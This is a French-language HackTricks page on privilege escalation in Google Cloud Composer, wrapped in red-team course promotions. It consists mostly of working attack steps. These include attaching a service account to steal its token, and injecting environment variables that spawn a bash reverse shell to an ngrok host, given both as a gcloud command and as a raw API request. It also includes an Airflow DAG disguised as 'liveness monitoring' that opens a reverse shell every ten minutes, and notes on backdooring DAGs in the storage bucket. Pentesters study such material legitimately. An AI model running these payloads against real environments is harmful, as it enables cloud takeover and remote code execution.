GCP - Composer Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

composer

Plus d’informations dans :

GCP - Composer Enum

composer.environments.create

Il est possible d’attacher n’importe quel service account au nouvel environment composer créé avec cette permission. Ensuite, vous pourrez exĂ©cuter du code Ă  l’intĂ©rieur de composer pour voler le token du service account.

Créer un environment Composer avec un service account attaché ```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```

Plus d’informations sur l’exploitation here.

composer.environments.update

Il est possible de mettre à jour l’environnement composer, par exemple en modifiant les variables d’environnement :

Mettre à jour les variables d'environnement Composer pour l'exécution de code ```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects//locations//environments/ \ --update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \ --location \ --project

Call the API endpoint directly

PATCH /v1/projects//locations//environments/?alt=json&updateMask=config.software_config.env_variables HTTP/2 Host: composer.googleapis.com User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0) Accept-Encoding: gzip, deflate, br Accept: application/json Content-Length: 178 Content-Type: application/json X-Goog-Api-Client: cred-type/sa Authorization: Bearer [token] X-Allowed-Locations: 0x0

{“config”: {“softwareConfig”: {“envVariables”: {“BROWSER”: “/bin/bash -c ‘bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1’ & #%s”, “PYTHONWARNINGS”: “all:0:antigravity.x:0:0”}}}}

</details>

TODO : Obtenir une RCE en ajoutant de nouveaux packages pypi Ă  l'environnement

### Télécharger Dags

Vérifiez le code source des dags en cours d'exécution :

<details><summary>Exporter et télécharger les DAGs depuis l'environnement Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Importer des Dags

Ajoutez le code python du DAG dans un fichier et importez-le en exécutant :

Importer un DAG malveillant dans l'environnement Composer ```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```

DAG de reverse shell :

Code Python DAG pour reverse shell ```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedelta

default_args = { ‘start_date’: airflow.utils.dates.days_ago(0), ‘retries’: 1, ‘retry_delay’: timedelta(minutes=5) }

dag = DAG( ‘reverse_shell’, default_args=default_args, description=‘liveness monitoring dag’, schedule_interval=‘*/10 * * * *’, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )

priority_weight has type int in Airflow DB, uses the maximum.

t1 = BashOperator( task_id=‘bash_rev’, bash_command=‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1’, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)

</details>

### AccÚs en écriture au bucket Composer

Tous les composants d'un environnement Composer (DAGs, plugins et données) sont stockés dans un bucket GCP. Si un attaquant dispose des permissions de lecture et d'écriture sur celui-ci, il peut surveiller le bucket et **lorsqu'un DAG est créé ou mis à jour, soumettre une version backdoored** afin que l'environnement Composer récupÚre depuis le stockage la version backdoored.

Obtenez plus d'informations sur cette attaque dans :

<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>

### Importer des plugins

TODO: Vérifier ce qu'il est possible de compromettre en téléversant des plugins

### Importer des données

TODO: Vérifier ce qu'il est possible de compromettre en téléversant des données

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>